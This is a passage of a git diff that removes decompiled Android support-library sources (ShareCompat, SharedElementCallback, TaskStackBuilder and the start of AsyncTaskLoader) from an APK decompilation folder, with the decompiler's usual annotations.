== '&') { - sb.append("&"); - } else if (charAt > '~' || charAt < ' ') { - sb.append("&#" + ((int) charAt) + ";"); - } else if (charAt == ' ') { - while (true) { - int i3 = i + 1; - if (i3 >= i2 || charSequence.charAt(i3) != ' ') { - break; - } - sb.append(" "); - i = i3; - } - sb.append(' '); - } else { - sb.append(charAt); - } - i++; - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ShareCompatImplICS extends ShareCompatImplBase { - ShareCompatImplICS() { - } - - @Override // android.support.v4.app.ShareCompat.ShareCompatImplBase, android.support.v4.app.ShareCompat.ShareCompatImpl - public void configureMenuItem(MenuItem menuItem, IntentBuilder intentBuilder) { - ShareCompatICS.configureMenuItem(menuItem, intentBuilder.getActivity(), intentBuilder.getIntent()); - if (shouldAddChooserIntent(menuItem)) { - menuItem.setIntent(intentBuilder.createChooserIntent()); - } - } - - boolean shouldAddChooserIntent(MenuItem menuItem) { - return !menuItem.hasSubMenu(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ShareCompatImplJB extends ShareCompatImplICS { - @Override // android.support.v4.app.ShareCompat.ShareCompatImplICS - boolean shouldAddChooserIntent(MenuItem menuItem) { - return false; - } - - ShareCompatImplJB() { - } - - @Override // android.support.v4.app.ShareCompat.ShareCompatImplBase, android.support.v4.app.ShareCompat.ShareCompatImpl - public String escapeHtml(CharSequence charSequence) { - return ShareCompatJB.escapeHtml(charSequence); - } - } - - private ShareCompat() { - } - - public static String getCallingPackage(Activity activity) { - String callingPackage = activity.getCallingPackage(); - return callingPackage == null ? activity.getIntent().getStringExtra(EXTRA_CALLING_PACKAGE) : callingPackage; - } - - public static ComponentName getCallingActivity(Activity activity) { - ComponentName callingActivity = activity.getCallingActivity(); - return callingActivity == null ? (ComponentName) activity.getIntent().getParcelableExtra(EXTRA_CALLING_ACTIVITY) : callingActivity; - } - - public static void configureMenuItem(MenuItem menuItem, IntentBuilder intentBuilder) { - IMPL.configureMenuItem(menuItem, intentBuilder); - } - - public static void configureMenuItem(Menu menu, int i, IntentBuilder intentBuilder) { - MenuItem findItem = menu.findItem(i); - if (findItem == null) { - throw new IllegalArgumentException("Could not find menu item with id " + i + " in the supplied menu"); - } - configureMenuItem(findItem, intentBuilder); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class IntentBuilder { - private Activity mActivity; - private ArrayList mBccAddresses; - private ArrayList mCcAddresses; - private CharSequence mChooserTitle; - private Intent mIntent; - private ArrayList mStreams; - private ArrayList mToAddresses; - - public static IntentBuilder from(Activity activity) { - return new IntentBuilder(activity); - } - - private IntentBuilder(Activity activity) { - this.mActivity = activity; - Intent action = new Intent().setAction("android.intent.action.SEND"); - this.mIntent = action; - action.putExtra(ShareCompat.EXTRA_CALLING_PACKAGE, activity.getPackageName()); - this.mIntent.putExtra(ShareCompat.EXTRA_CALLING_ACTIVITY, activity.getComponentName()); - this.mIntent.addFlags(524288); - } - - /* JADX WARN: Code restructure failed: missing block: B:14:0x002c, code lost: - if (r0.size() > 1) goto L14; - */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public android.content.Intent getIntent() { - /* - r8 = this; - java.util.ArrayList r0 = r8.mToAddresses - r1 = 0 - if (r0 == 0) goto Lc - java.lang.String r2 = "android.intent.extra.EMAIL" - r8.combineArrayExtra(r2, r0) - r8.mToAddresses = r1 - Lc: - java.util.ArrayList r0 = r8.mCcAddresses - if (r0 == 0) goto L17 - java.lang.String r2 = "android.intent.extra.CC" - r8.combineArrayExtra(r2, r0) - r8.mCcAddresses = r1 - L17: - java.util.ArrayList r0 = r8.mBccAddresses - if (r0 == 0) goto L22 - java.lang.String r2 = "android.intent.extra.BCC" - r8.combineArrayExtra(r2, r0) - r8.mBccAddresses = r1 - L22: - java.util.ArrayList r0 = r8.mStreams - r2 = 0 - if (r0 == 0) goto L2f - int r0 = r0.size() - r3 = 1 - if (r0 <= r3) goto L2f - goto L30 - L2f: - r3 = r2 - L30: - android.content.Intent r0 = r8.mIntent - java.lang.String r0 = r0.getAction() - java.lang.String r4 = "android.intent.action.SEND_MULTIPLE" - boolean r0 = r0.equals(r4) - java.lang.String r5 = "android.intent.extra.STREAM" - if (r3 != 0) goto L68 - if (r0 == 0) goto L68 - android.content.Intent r6 = r8.mIntent - java.lang.String r7 = "android.intent.action.SEND" - r6.setAction(r7) - java.util.ArrayList r6 = r8.mStreams - if (r6 == 0) goto L61 - boolean r6 = r6.isEmpty() - if (r6 != 0) goto L61 - android.content.Intent r6 = r8.mIntent - java.util.ArrayList r7 = r8.mStreams - java.lang.Object r2 = r7.get(r2) - android.os.Parcelable r2 = (android.os.Parcelable) r2 - r6.putExtra(r5, r2) - goto L66 - L61: - android.content.Intent r2 = r8.mIntent - r2.removeExtra(r5) - L66: - r8.mStreams = r1 - L68: - if (r3 == 0) goto L88 - if (r0 != 0) goto L88 - android.content.Intent r0 = r8.mIntent - r0.setAction(r4) - java.util.ArrayList r0 = r8.mStreams - if (r0 == 0) goto L83 - boolean r0 = r0.isEmpty() - if (r0 != 0) goto L83 - android.content.Intent r0 = r8.mIntent - java.util.ArrayList r1 = r8.mStreams - r0.putParcelableArrayListExtra(r5, r1) - goto L88 - L83: - android.content.Intent r0 = r8.mIntent - r0.removeExtra(r5) - L88: - android.content.Intent r0 = r8.mIntent - return r0 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.app.ShareCompat.IntentBuilder.getIntent():android.content.Intent"); - } - - Activity getActivity() { - return this.mActivity; - } - - private void combineArrayExtra(String str, ArrayList arrayList) { - String[] stringArrayExtra = this.mIntent.getStringArrayExtra(str); - int length = stringArrayExtra != null ? stringArrayExtra.length : 0; - String[] strArr = new String[arrayList.size() + length]; - arrayList.toArray(strArr); - if (stringArrayExtra != null) { - System.arraycopy(stringArrayExtra, 0, strArr, arrayList.size(), length); - } - this.mIntent.putExtra(str, strArr); - } - - private void combineArrayExtra(String str, String[] strArr) { - Intent intent = getIntent(); - String[] stringArrayExtra = intent.getStringArrayExtra(str); - int length = stringArrayExtra != null ? stringArrayExtra.length : 0; - String[] strArr2 = new String[strArr.length + length]; - if (stringArrayExtra != null) { - System.arraycopy(stringArrayExtra, 0, strArr2, 0, length); - } - System.arraycopy(strArr, 0, strArr2, length, strArr.length); - intent.putExtra(str, strArr2); - } - - public Intent createChooserIntent() { - return Intent.createChooser(getIntent(), this.mChooserTitle); - } - - public void startChooser() { - this.mActivity.startActivity(createChooserIntent()); - } - - public IntentBuilder setChooserTitle(CharSequence charSequence) { - this.mChooserTitle = charSequence; - return this; - } - - public IntentBuilder setChooserTitle(int i) { - return setChooserTitle(this.mActivity.getText(i)); - } - - public IntentBuilder setType(String str) { - this.mIntent.setType(str); - return this; - } - - public IntentBuilder setText(CharSequence charSequence) { - this.mIntent.putExtra("android.intent.extra.TEXT", charSequence); - return this; - } - - public IntentBuilder setHtmlText(String str) { - this.mIntent.putExtra(IntentCompat.EXTRA_HTML_TEXT, str); - if (!this.mIntent.hasExtra("android.intent.extra.TEXT")) { - setText(Html.fromHtml(str)); - } - return this; - } - - public IntentBuilder setStream(Uri uri) { - if (!this.mIntent.getAction().equals("android.intent.action.SEND")) { - this.mIntent.setAction("android.intent.action.SEND"); - } - this.mStreams = null; - this.mIntent.putExtra("android.intent.extra.STREAM", uri); - return this; - } - - public IntentBuilder addStream(Uri uri) { - Uri uri2 = (Uri) this.mIntent.getParcelableExtra("android.intent.extra.STREAM"); - ArrayList arrayList = this.mStreams; - if (arrayList == null && uri2 == null) { - return setStream(uri); - } - if (arrayList == null) { - this.mStreams = new ArrayList<>(); - } - if (uri2 != null) { - this.mIntent.removeExtra("android.intent.extra.STREAM"); - this.mStreams.add(uri2); - } - this.mStreams.add(uri); - return this; - } - - public IntentBuilder setEmailTo(String[] strArr) { - if (this.mToAddresses != null) { - this.mToAddresses = null; - } - this.mIntent.putExtra("android.intent.extra.EMAIL", strArr); - return this; - } - - public IntentBuilder addEmailTo(String str) { - if (this.mToAddresses == null) { - this.mToAddresses = new ArrayList<>(); - } - this.mToAddresses.add(str); - return this; - } - - public IntentBuilder addEmailTo(String[] strArr) { - combineArrayExtra("android.intent.extra.EMAIL", strArr); - return this; - } - - public IntentBuilder setEmailCc(String[] strArr) { - this.mIntent.putExtra("android.intent.extra.CC", strArr); - return this; - } - - public IntentBuilder addEmailCc(String str) { - if (this.mCcAddresses == null) { - this.mCcAddresses = new ArrayList<>(); - } - this.mCcAddresses.add(str); - return this; - } - - public IntentBuilder addEmailCc(String[] strArr) { - combineArrayExtra("android.intent.extra.CC", strArr); - return this; - } - - public IntentBuilder setEmailBcc(String[] strArr) { - this.mIntent.putExtra("android.intent.extra.BCC", strArr); - return this; - } - - public IntentBuilder addEmailBcc(String str) { - if (this.mBccAddresses == null) { - this.mBccAddresses = new ArrayList<>(); - } - this.mBccAddresses.add(str); - return this; - } - - public IntentBuilder addEmailBcc(String[] strArr) { - combineArrayExtra("android.intent.extra.BCC", strArr); - return this; - } - - public IntentBuilder setSubject(String str) { - this.mIntent.putExtra("android.intent.extra.SUBJECT", str); - return this; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class IntentReader { - private static final String TAG = "IntentReader"; - private Activity mActivity; - private ComponentName mCallingActivity; - private String mCallingPackage; - private Intent mIntent; - private ArrayList mStreams; - - public static IntentReader from(Activity activity) { - return new IntentReader(activity); - } - - private IntentReader(Activity activity) { - this.mActivity = activity; - this.mIntent = activity.getIntent(); - this.mCallingPackage = ShareCompat.getCallingPackage(activity); - this.mCallingActivity = ShareCompat.getCallingActivity(activity); - } - - public boolean isShareIntent() { - String action = this.mIntent.getAction(); - return "android.intent.action.SEND".equals(action) || "android.intent.action.SEND_MULTIPLE".equals(action); - } - - public boolean isSingleShare() { - return "android.intent.action.SEND".equals(this.mIntent.getAction()); - } - - public boolean isMultipleShare() { - return "android.intent.action.SEND_MULTIPLE".equals(this.mIntent.getAction()); - } - - public String getType() { - return this.mIntent.getType(); - } - - public CharSequence getText() { - return this.mIntent.getCharSequenceExtra("android.intent.extra.TEXT"); - } - - public String getHtmlText() { - String stringExtra = this.mIntent.getStringExtra(IntentCompat.EXTRA_HTML_TEXT); - if (stringExtra == null) { - CharSequence text = getText(); - if (text instanceof Spanned) { - return Html.toHtml((Spanned) text); - } - return text != null ? ShareCompat.IMPL.escapeHtml(text) : stringExtra; - } - return stringExtra; - } - - public Uri getStream() { - return (Uri) this.mIntent.getParcelableExtra("android.intent.extra.STREAM"); - } - - public Uri getStream(int i) { - if (this.mStreams == null && isMultipleShare()) { - this.mStreams = this.mIntent.getParcelableArrayListExtra("android.intent.extra.STREAM"); - } - ArrayList arrayList = this.mStreams; - if (arrayList != null) { - return arrayList.get(i); - } - if (i == 0) { - return (Uri) this.mIntent.getParcelableExtra("android.intent.extra.STREAM"); - } - throw new IndexOutOfBoundsException("Stream items available: " + getStreamCount() + " index requested: " + i); - } - - public int getStreamCount() { - if (this.mStreams == null && isMultipleShare()) { - this.mStreams = this.mIntent.getParcelableArrayListExtra("android.intent.extra.STREAM"); - } - ArrayList arrayList = this.mStreams; - if (arrayList != null) { - return arrayList.size(); - } - return this.mIntent.hasExtra("android.intent.extra.STREAM") ? 1 : 0; - } - - public String[] getEmailTo() { - return this.mIntent.getStringArrayExtra("android.intent.extra.EMAIL"); - } - - public String[] getEmailCc() { - return this.mIntent.getStringArrayExtra("android.intent.extra.CC"); - } - - public String[] getEmailBcc() { - return this.mIntent.getStringArrayExtra("android.intent.extra.BCC"); - } - - public String getSubject() { - return this.mIntent.getStringExtra("android.intent.extra.SUBJECT"); - } - - public String getCallingPackage() { - return this.mCallingPackage; - } - - public ComponentName getCallingActivity() { - return this.mCallingActivity; - } - - public Drawable getCallingActivityIcon() { - if (this.mCallingActivity == null) { - return null; - } - try { - return this.mActivity.getPackageManager().getActivityIcon(this.mCallingActivity); - } catch (PackageManager.NameNotFoundException e) { - Log.e(TAG, "Could not retrieve icon for calling activity", e); - return null; - } - } - - public Drawable getCallingApplicationIcon() { - if (this.mCallingPackage == null) { - return null; - } - try { - return this.mActivity.getPackageManager().getApplicationIcon(this.mCallingPackage); - } catch (PackageManager.NameNotFoundException e) { - Log.e(TAG, "Could not retrieve icon for calling application", e); - return null; - } - } - - public CharSequence getCallingApplicationLabel() { - if (this.mCallingPackage == null) { - return null; - } - PackageManager packageManager = this.mActivity.getPackageManager(); - try { - return packageManager.getApplicationLabel(packageManager.getApplicationInfo(this.mCallingPackage, 0)); - } catch (PackageManager.NameNotFoundException e) { - Log.e(TAG, "Could not retrieve label for calling application", e); - return null; - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompatICS.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompatICS.java deleted file mode 100644 index 7561019..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompatICS.java +++ /dev/null @@ -1,27 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Intent; -import android.view.ActionProvider; -import android.view.MenuItem; -import android.widget.ShareActionProvider; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ShareCompatICS { - private static final String HISTORY_FILENAME_PREFIX = ".sharecompat_"; - - ShareCompatICS() { - } - - public static void configureMenuItem(MenuItem menuItem, Activity activity, Intent intent) { - ShareActionProvider shareActionProvider; - ActionProvider actionProvider = menuItem.getActionProvider(); - if (!(actionProvider instanceof ShareActionProvider)) { - shareActionProvider = new ShareActionProvider(activity); - } else { - shareActionProvider = (ShareActionProvider) actionProvider; - } - shareActionProvider.setShareHistoryFileName(HISTORY_FILENAME_PREFIX + activity.getClass().getName()); - shareActionProvider.setShareIntent(intent); - menuItem.setActionProvider(shareActionProvider); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompatJB.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompatJB.java deleted file mode 100644 index ddb267e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompatJB.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.app; - -import android.text.Html; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ShareCompatJB { - ShareCompatJB() { - } - - public static String escapeHtml(CharSequence charSequence) { - return Html.escapeHtml(charSequence); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/SharedElementCallback.java b/apk_3230/decompiled_source/sources/android/support/v4/app/SharedElementCallback.java deleted file mode 100644 index 307591a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/SharedElementCallback.java +++ /dev/null @@ -1,136 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.graphics.Bitmap; -import android.graphics.Canvas; -import android.graphics.Matrix; -import android.graphics.Rect; -import android.graphics.RectF; -import android.graphics.drawable.BitmapDrawable; -import android.graphics.drawable.Drawable; -import android.os.Bundle; -import android.os.Parcelable; -import android.view.View; -import android.widget.ImageView; -import java.util.List; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class SharedElementCallback { - private static final String BUNDLE_SNAPSHOT_BITMAP = "sharedElement:snapshot:bitmap"; - private static final String BUNDLE_SNAPSHOT_IMAGE_MATRIX = "sharedElement:snapshot:imageMatrix"; - private static final String BUNDLE_SNAPSHOT_IMAGE_SCALETYPE = "sharedElement:snapshot:imageScaleType"; - private static int MAX_IMAGE_SIZE = 1048576; - private Matrix mTempMatrix; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnSharedElementsReadyListener { - void onSharedElementsReady(); - } - - public void onMapSharedElements(List list, Map map) { - } - - public void onRejectSharedElements(List list) { - } - - public void onSharedElementEnd(List list, List list2, List list3) { - } - - public void onSharedElementStart(List list, List list2, List list3) { - } - - public Parcelable onCaptureSharedElementSnapshot(View view, Matrix matrix, RectF rectF) { - Bitmap createDrawableBitmap; - if (view instanceof ImageView) { - ImageView imageView = (ImageView) view; - Drawable drawable = imageView.getDrawable(); - Drawable background = imageView.getBackground(); - if (drawable != null && background == null && (createDrawableBitmap = createDrawableBitmap(drawable)) != null) { - Bundle bundle = new Bundle(); - bundle.putParcelable(BUNDLE_SNAPSHOT_BITMAP, createDrawableBitmap); - bundle.putString(BUNDLE_SNAPSHOT_IMAGE_SCALETYPE, imageView.getScaleType().toString()); - if (imageView.getScaleType() == ImageView.ScaleType.MATRIX) { - float[] fArr = new float[9]; - imageView.getImageMatrix().getValues(fArr); - bundle.putFloatArray(BUNDLE_SNAPSHOT_IMAGE_MATRIX, fArr); - } - return bundle; - } - } - int round = Math.round(rectF.width()); - int round2 = Math.round(rectF.height()); - if (round <= 0 || round2 <= 0) { - return null; - } - float min = Math.min(1.0f, MAX_IMAGE_SIZE / (round * round2)); - int i = (int) (round * min); - int i2 = (int) (round2 * min); - if (this.mTempMatrix == null) { - this.mTempMatrix = new Matrix(); - } - this.mTempMatrix.set(matrix); - this.mTempMatrix.postTranslate(-rectF.left, -rectF.top); - this.mTempMatrix.postScale(min, min); - Bitmap createBitmap = Bitmap.createBitmap(i, i2, Bitmap.Config.ARGB_8888); - Canvas canvas = new Canvas(createBitmap); - canvas.concat(this.mTempMatrix); - view.draw(canvas); - return createBitmap; - } - - private static Bitmap createDrawableBitmap(Drawable drawable) { - int intrinsicWidth = drawable.getIntrinsicWidth(); - int intrinsicHeight = drawable.getIntrinsicHeight(); - if (intrinsicWidth <= 0 || intrinsicHeight <= 0) { - return null; - } - float min = Math.min(1.0f, MAX_IMAGE_SIZE / (intrinsicWidth * intrinsicHeight)); - if ((drawable instanceof BitmapDrawable) && min == 1.0f) { - return ((BitmapDrawable) drawable).getBitmap(); - } - int i = (int) (intrinsicWidth * min); - int i2 = (int) (intrinsicHeight * min); - Bitmap createBitmap = Bitmap.createBitmap(i, i2, Bitmap.Config.ARGB_8888); - Canvas canvas = new Canvas(createBitmap); - Rect bounds = drawable.getBounds(); - int i3 = bounds.left; - int i4 = bounds.top; - int i5 = bounds.right; - int i6 = bounds.bottom; - drawable.setBounds(0, 0, i, i2); - drawable.draw(canvas); - drawable.setBounds(i3, i4, i5, i6); - return createBitmap; - } - - public View onCreateSnapshotView(Context context, Parcelable parcelable) { - if (parcelable instanceof Bundle) { - Bundle bundle = (Bundle) parcelable; - Bitmap bitmap = (Bitmap) bundle.getParcelable(BUNDLE_SNAPSHOT_BITMAP); - if (bitmap == null) { - return null; - } - ImageView imageView = new ImageView(context); - imageView.setImageBitmap(bitmap); - imageView.setScaleType(ImageView.ScaleType.valueOf(bundle.getString(BUNDLE_SNAPSHOT_IMAGE_SCALETYPE))); - if (imageView.getScaleType() == ImageView.ScaleType.MATRIX) { - float[] floatArray = bundle.getFloatArray(BUNDLE_SNAPSHOT_IMAGE_MATRIX); - Matrix matrix = new Matrix(); - matrix.setValues(floatArray); - imageView.setImageMatrix(matrix); - return imageView; - } - return imageView; - } else if (parcelable instanceof Bitmap) { - ImageView imageView2 = new ImageView(context); - imageView2.setImageBitmap((Bitmap) parcelable); - return imageView2; - } else { - return null; - } - } - - public void onSharedElementsArrived(List list, List list2, OnSharedElementsReadyListener onSharedElementsReadyListener) { - onSharedElementsReadyListener.onSharedElementsReady(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/SuperNotCalledException.java b/apk_3230/decompiled_source/sources/android/support/v4/app/SuperNotCalledException.java deleted file mode 100644 index e8ecc3b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/SuperNotCalledException.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.app; - -import android.util.AndroidRuntimeException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -final class SuperNotCalledException extends AndroidRuntimeException { - public SuperNotCalledException(String str) { - super(str); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilder.java b/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilder.java deleted file mode 100644 index 8ea883b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilder.java +++ /dev/null @@ -1,198 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.app.PendingIntent; -import android.content.ComponentName; -import android.content.Context; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.support.v4.content.ContextCompat; -import android.util.Log; -import java.util.ArrayList; -import java.util.Iterator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TaskStackBuilder implements Iterable { - private static final TaskStackBuilderImpl IMPL = new TaskStackBuilderImplHoneycomb(); - private static final String TAG = "TaskStackBuilder"; - private final ArrayList mIntents = new ArrayList<>(); - private final Context mSourceContext; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface SupportParentable { - Intent getSupportParentActivityIntent(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface TaskStackBuilderImpl { - PendingIntent getPendingIntent(Context context, Intent[] intentArr, int i, int i2, Bundle bundle); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TaskStackBuilderImplBase implements TaskStackBuilderImpl { - TaskStackBuilderImplBase() { - } - - @Override // android.support.v4.app.TaskStackBuilder.TaskStackBuilderImpl - public PendingIntent getPendingIntent(Context context, Intent[] intentArr, int i, int i2, Bundle bundle) { - Intent intent = new Intent(intentArr[intentArr.length - 1]); - intent.addFlags(268435456); - return PendingIntent.getActivity(context, i, intent, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TaskStackBuilderImplHoneycomb implements TaskStackBuilderImpl { - TaskStackBuilderImplHoneycomb() { - } - - @Override // android.support.v4.app.TaskStackBuilder.TaskStackBuilderImpl - public PendingIntent getPendingIntent(Context context, Intent[] intentArr, int i, int i2, Bundle bundle) { - intentArr[0] = new Intent(intentArr[0]).addFlags(268484608); - return TaskStackBuilderHoneycomb.getActivitiesPendingIntent(context, i, intentArr, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TaskStackBuilderImplJellybean implements TaskStackBuilderImpl { - TaskStackBuilderImplJellybean() { - } - - @Override // android.support.v4.app.TaskStackBuilder.TaskStackBuilderImpl - public PendingIntent getPendingIntent(Context context, Intent[] intentArr, int i, int i2, Bundle bundle) { - intentArr[0] = new Intent(intentArr[0]).addFlags(268484608); - return TaskStackBuilderJellybean.getActivitiesPendingIntent(context, i, intentArr, i2, bundle); - } - } - - private TaskStackBuilder(Context context) { - this.mSourceContext = context; - } - - public static TaskStackBuilder create(Context context) { - return new TaskStackBuilder(context); - } - - @Deprecated - public static TaskStackBuilder from(Context context) { - return create(context); - } - - public TaskStackBuilder addNextIntent(Intent intent) { - this.mIntents.add(intent); - return this; - } - - public TaskStackBuilder addNextIntentWithParentStack(Intent intent) { - ComponentName component = intent.getComponent(); - if (component == null) { - component = intent.resolveActivity(this.mSourceContext.getPackageManager()); - } - if (component != null) { - addParentStack(component); - } - addNextIntent(intent); - return this; - } - - public TaskStackBuilder addParentStack(Activity activity) { - Intent supportParentActivityIntent = activity instanceof SupportParentable ? ((SupportParentable) activity).getSupportParentActivityIntent() : null; - if (supportParentActivityIntent == null) { - supportParentActivityIntent = NavUtils.getParentActivityIntent(activity); - } - if (supportParentActivityIntent != null) { - ComponentName component = supportParentActivityIntent.getComponent(); - if (component == null) { - component = supportParentActivityIntent.resolveActivity(this.mSourceContext.getPackageManager()); - } - addParentStack(component); - addNextIntent(supportParentActivityIntent); - } - return this; - } - - public TaskStackBuilder addParentStack(Class cls) { - return addParentStack(new ComponentName(this.mSourceContext, cls)); - } - - public TaskStackBuilder addParentStack(ComponentName componentName) { - int size = this.mIntents.size(); - try { - Intent parentActivityIntent = NavUtils.getParentActivityIntent(this.mSourceContext, componentName); - while (parentActivityIntent != null) { - this.mIntents.add(size, parentActivityIntent); - parentActivityIntent = NavUtils.getParentActivityIntent(this.mSourceContext, parentActivityIntent.getComponent()); - } - return this; - } catch (PackageManager.NameNotFoundException e) { - Log.e(TAG, "Bad ComponentName while traversing activity parent metadata"); - throw new IllegalArgumentException(e); - } - } - - public int getIntentCount() { - return this.mIntents.size(); - } - - @Deprecated - public Intent getIntent(int i) { - return editIntentAt(i); - } - - public Intent editIntentAt(int i) { - return this.mIntents.get(i); - } - - @Override // java.lang.Iterable - @Deprecated - public Iterator iterator() { - return this.mIntents.iterator(); - } - - public void startActivities() { - startActivities(null); - } - - public void startActivities(Bundle bundle) { - if (this.mIntents.isEmpty()) { - throw new IllegalStateException("No intents added to TaskStackBuilder; cannot startActivities"); - } - ArrayList arrayList = this.mIntents; - Intent[] intentArr = (Intent[]) arrayList.toArray(new Intent[arrayList.size()]); - intentArr[0] = new Intent(intentArr[0]).addFlags(268484608); - if (ContextCompat.startActivities(this.mSourceContext, intentArr, bundle)) { - return; - } - Intent intent = new Intent(intentArr[intentArr.length - 1]); - intent.addFlags(268435456); - this.mSourceContext.startActivity(intent); - } - - public PendingIntent getPendingIntent(int i, int i2) { - return getPendingIntent(i, i2, null); - } - - public PendingIntent getPendingIntent(int i, int i2, Bundle bundle) { - if (this.mIntents.isEmpty()) { - throw new IllegalStateException("No intents added to TaskStackBuilder; cannot getPendingIntent"); - } - ArrayList arrayList = this.mIntents; - Intent[] intentArr = (Intent[]) arrayList.toArray(new Intent[arrayList.size()]); - intentArr[0] = new Intent(intentArr[0]).addFlags(268484608); - return IMPL.getPendingIntent(this.mSourceContext, intentArr, i, i2, bundle); - } - - public Intent[] getIntents() { - int size = this.mIntents.size(); - Intent[] intentArr = new Intent[size]; - if (size == 0) { - return intentArr; - } - intentArr[0] = new Intent(this.mIntents.get(0)).addFlags(268484608); - for (int i = 1; i < size; i++) { - intentArr[i] = new Intent(this.mIntents.get(i)); - } - return intentArr; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilderHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilderHoneycomb.java deleted file mode 100644 index 2d926e0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilderHoneycomb.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.app; - -import android.app.PendingIntent; -import android.content.Context; -import android.content.Intent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TaskStackBuilderHoneycomb { - TaskStackBuilderHoneycomb() { - } - - public static PendingIntent getActivitiesPendingIntent(Context context, int i, Intent[] intentArr, int i2) { - return PendingIntent.getActivities(context, i, intentArr, i2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilderJellybean.java b/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilderJellybean.java deleted file mode 100644 index 080bd8e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/TaskStackBuilderJellybean.java +++ /dev/null @@ -1,15 +0,0 @@ -package android.support.v4.app; - -import android.app.PendingIntent; -import android.content.Context; -import android.content.Intent; -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TaskStackBuilderJellybean { - TaskStackBuilderJellybean() { - } - - public static PendingIntent getActivitiesPendingIntent(Context context, int i, Intent[] intentArr, int i2, Bundle bundle) { - return PendingIntent.getActivities(context, i, intentArr, i2, bundle); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/AsyncTaskLoader.java b/apk_3230/decompiled_source/sources/android/support/v4/content/AsyncTaskLoader.java deleted file mode 100644 index c24cd40..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/AsyncTaskLoader.java +++ /dev/null @@ -1,220 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.os.Handler; -import android.os.SystemClock; -import android.support.v4.os.OperationCanceledException; -import android.support.v4.util.TimeUtils; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.util.concurrent.CountDownLatch; -import java.util.concurrent.Executor; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class AsyncTaskLoader extends Loader { - static final boolean DEBUG = false; - static final String TAG = "AsyncTaskLoader"; - volatile AsyncTaskLoader.LoadTask mCancellingTask; - private final Executor mExecutor; - Handler mHandler; - long mLastLoadCompleteTime; - volatile AsyncTaskLoader.LoadTask mTask; - long mUpdateThrottle; - - public void cancelLoadInBackground() { - } - - public abstract D loadInBackground(); - - public void onCanceled(D d) { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public final class LoadTask extends ModernAsyncTask implements Runnable { - private final CountDownLatch mDone = new CountDownLatch(1); - boolean waiting; - - LoadTask() { - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.support.v4.content.ModernAsyncTask - public D doInBackground(Void... voidArr) { - try { - return (D) AsyncTaskLoader.this.onLoadInBackground(); - } catch (OperationCanceledException e) { - if (isCancelled()) { - return null; - } - throw e; - } - } - - @Override // android.support.v4.content.ModernAsyncTask - protected void onPostExecute(D d) { - try { - AsyncTaskLoader.this.dispatchOnLoadComplete(this, d); - } finally { - this.mDone.countDown(); - } - } - - @Override // android.support.v4.content.ModernAsyncTask - protected void onCancelled(D d) { - try { - AsyncTaskLoader.this.dispatchOnCancelled(this, d); - } finally { - this.mDone.countDown(); - } - } - - @Override // java.lang.Runnable - public void run() { - this.waiting = false; - AsyncTaskLoader.this.executePendingTask(); - } - - public void waitForLoader() { - try { - this.mDone.await(); - } catch (InterruptedException unused) { - } - } - } - - public AsyncTaskLoader(Context context) { - this(context, ModernAsyncTask.THREAD_POOL_EXECUTOR); - } - - private AsyncTaskLoader(Context context, Executor executor) { - super(context); - this.mLastLoadCompleteTime = 